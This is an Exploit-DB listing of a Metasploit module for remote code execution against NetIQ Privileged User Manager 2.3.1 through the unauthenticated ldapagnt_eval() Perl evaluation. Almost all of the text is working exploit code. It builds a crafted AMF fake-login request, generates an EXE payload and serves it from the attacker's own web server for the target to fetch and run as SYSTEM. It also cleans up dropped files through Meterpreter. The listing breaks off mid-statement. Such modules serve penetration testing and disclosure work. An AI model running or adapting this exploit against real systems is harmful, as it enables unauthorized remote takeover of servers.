Exploit-DB #22903
Description: NetIQ Privileged User Manager 2.3.1 - 'ldapagnt_eval()' Perl Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2012-11-22
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution',
			'Description'    => %q{
					This module abuses a lack of authorization in the NetIQ Privileged User Manager
				service (unifid.exe) to execute arbitrary perl code. The problem exists in the
				ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over
				Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
			},
			'Author'         => [
				'rgod', # Vulnerability discovery and PoC
				'juan vazquez' # Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '87334'],
					[ 'BID', '56539' ],
					[ 'EDB', '22738' ],
					[ 'URL', 'http://retrogod.altervista.org/9sg_novell_netiq_ldapagnt_adv.htm' ]
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Targets'        =>
				[
					['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', { }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 15 2012'
		))

		register_options(
			[
				Opt::RPORT(443),
				OptBool.new('SSL', [true, 'Use SSL', true]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60])
			], self.class )
	end

	def check
		data = fake_login

		print_status("Sending fake login request...")

		res = send_request_cgi(
			{
				'uri'     => '/',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-amf",
				'headers' => {
					"x-flash-version" => "11,4,402,278"
				},
				'data'    => data,
			})

		if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2.3.1/
			return Exploit::CheckCode::Vulnerable
		elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def on_new_session(session)
		if session.type == "meterpreter"
			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
		end

		@dropped_files.delete_if do |file|
			win_file = file.gsub("/", "\\\\")
			if session.type == "meterpreter"
				begin
					windir = session.fs.file.expand_path("%WINDIR%")
					win_file = "#{windir}\\system32\\#{win_file}"
					# Meterpreter should do this automatically as part of
					# fs.file.rm().  Until that has been implemented, remove the
					# read-only flag with a command.
					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
					session.fs.file.rm(win_file)
					print_good("Deleted #{file}")
					true
				rescue ::Rex::Post::Meterpreter::RequestError
					false
				end

			end
		end

	end

	# Handle incoming requests from the target
	def on_request_uri(cli, request)

		vprint_status("on_request_uri called")

		if (not @exe_data)
			print_error("A request came in, but the EXE archive wasn't ready yet!")
			return
		end

		print_good("Sending the EXE payload to the target...")
		send_response(cli, @exe_data)
		@exe_sent = true
	end

	def lookup_lhost()
		# Get the source address
		if datastore['SRVHOST'] == '0.0.0.0'
			Rex::Socket.source_address('50.50.50.50')
		else
			datastore['SRVHOST']
		end
	end

	def fake_login
		data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74"          #  ..........SPF.Ut
		data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" #  il.callModuleEx.
		data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" #  ./4...d........p
		data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" #  kt...Credentials
		data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" #  ...name...test..
		data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" #  passwd...test...
		data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" #  ..method...login
		data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" #  ..module...auth.
		data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";                    #  .uid.......
		return data
	end

	def exploit

		data = fake_login

		print_status("Sending fake login request...")
		res = send_request_cgi(
			{
				'uri'     => '/',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-amf",
				'headers' => {
					"x-flash-version" => "11,4,402,278"
				},
				'data'    => data,
			})

		if not res or res.code != 200 or res.body !~ /svc(.+)/
			fail_with(Exploit::Failure::Unknown, 'Fake Login failed, svc not identified')
		end

		svc = $1
		svc_length = svc[1, 2].unpack("n")[0]
		svc_name = svc[3, svc_length]
		vprint_status("SVC Found: #{svc_name}")

		print_status("Generating the EXE Payload...")
		@exe_data = generate_payload_exe
		exename = Rex::Text.rand_text_alpha(1+rand(2))

		print_status("Setting up the Web Service...")
		datastore['SSL'] = false
		resource_uri = '/' + exename + '.exe'
		service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
		print_status("Starting up our web service on #{service_url} ...")
		start_service({'Uri' => {
			'Proc' =>